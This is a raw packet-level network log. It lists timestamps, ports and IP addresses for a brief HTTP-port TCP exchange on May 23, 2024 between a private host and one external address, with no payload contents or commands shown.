May 23, 2024 23:33:08.885107040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.885147095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886075974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886111021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886142969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886173964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886176109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886199951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886209011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886223078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886256933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886887074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886920929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886949062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886953115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.886970997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.886986971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.887001991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.887036085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.887883902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.887917995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.887936115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.887950897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.887962103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.887985945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.887993097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888017893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888036013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888058901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888698101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888732910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888755083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888766050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888775110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888799906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888816118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888834000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.888849974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888874054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.888874054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.889738083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.889772892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.889805079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.889832973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.889837027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.889853954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.889870882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.889883995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.889921904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.890598059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.890631914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.890657902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.890664101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.890678883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.890697956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.890717030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.890741110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.891599894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.891616106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.891629934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.891644955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.891657114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.891657114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.891694069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.891694069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.892430067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.892446995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.892461061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.892474890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.892498970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.892518044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.892522097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.892565012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.893333912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.893349886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.893363953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.893378973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.893388987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.893419027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.893448114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.894371033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.894387007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.894401073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.894414902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.894428968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.894439936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.894474030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.894474983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.895306110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.895322084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.895335913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.895350933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.895376921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.895409107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.895982027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.895998001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896012068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896028042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896033049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896044016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896055937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896059990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896076918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896110058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896110058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896785021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896800041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896814108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896828890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896842957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.896853924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896888018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.896888018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.897583008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.897598982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.897650957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.971625090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971679926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971718073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971751928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971786022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971838951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.971839905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.971839905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.971839905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.971930027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971966028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.971997976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.972031116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.972074032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972074032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972074032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972074032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972837925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.972873926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.972891092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972907066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.972917080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.972949028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.975780010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.975814104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.975847006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.975869894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.975879908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.975903034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.975919008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.975930929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.975976944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.975984097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976017952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976026058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976052999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976058960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976084948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976095915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976119995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976140022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976152897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976162910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976197958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976264954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976299047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976315975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976330996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976340055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976365089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976373911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976408005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976785898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976820946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976838112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976852894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976862907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976886988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976895094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976919889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.976927996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.976959944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.977647066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.977679968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.977696896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.977715015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.977722883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.977749109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.977756023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.977790117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.978475094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.978537083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.978569031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.978588104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.978601933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.978612900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.978635073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.978645086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.978677034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.979206085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.979240894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.979259014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.979274035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.979284048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.979306936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.979319096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.979341030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.979351044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.979384899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980104923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980138063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980160952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980170965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980190039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980205059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980211973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980237007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980254889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980272055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980278015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980318069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980912924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980947018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980969906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.980978966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.980990887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981014013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981031895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981049061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981056929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981100082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981779099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981813908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981846094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981873035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981879950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981890917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981913090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981929064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981945992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.981961012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.981991053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.982635975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.982669115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.982693911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.982705116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.982712030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.982738972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.982753992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.982772112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.982783079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.982817888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983514071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983547926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983567953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983580112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983588934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983613968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983627081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983647108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983666897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983680010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983688116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983711958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.983730078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.983757019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984327078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984360933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984381914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984392881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984412909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984436035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984890938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984925032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984947920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984957933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.984977007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.984993935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985011101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985025883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985042095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985059977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985073090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985107899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985738993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985773087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985805035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985831022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985838890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985853910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985872030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.985884905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.985923052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986602068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986635923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986660957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986669064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986685038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986705065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986726999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986737013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986745119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986771107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.986788034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.986825943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.987447977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.987481117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.987504005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.987514973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.987525940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.987548113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.987565041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.987581968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.987596035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.987626076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988277912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988312006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988334894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988343954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988353968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988377094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988392115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988410950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988421917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988445044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988464117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988476992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988495111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988509893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.988518000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.988562107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.061806917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.061856985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.061893940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062046051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062079906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062114954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062145948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062145948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062145948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062192917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062551975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062587976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062619925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062653065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.062727928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062727928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062727928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.062727928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063079119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063112974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063257933 CEST	49733	80	192.168.2.4	185.172.128.82
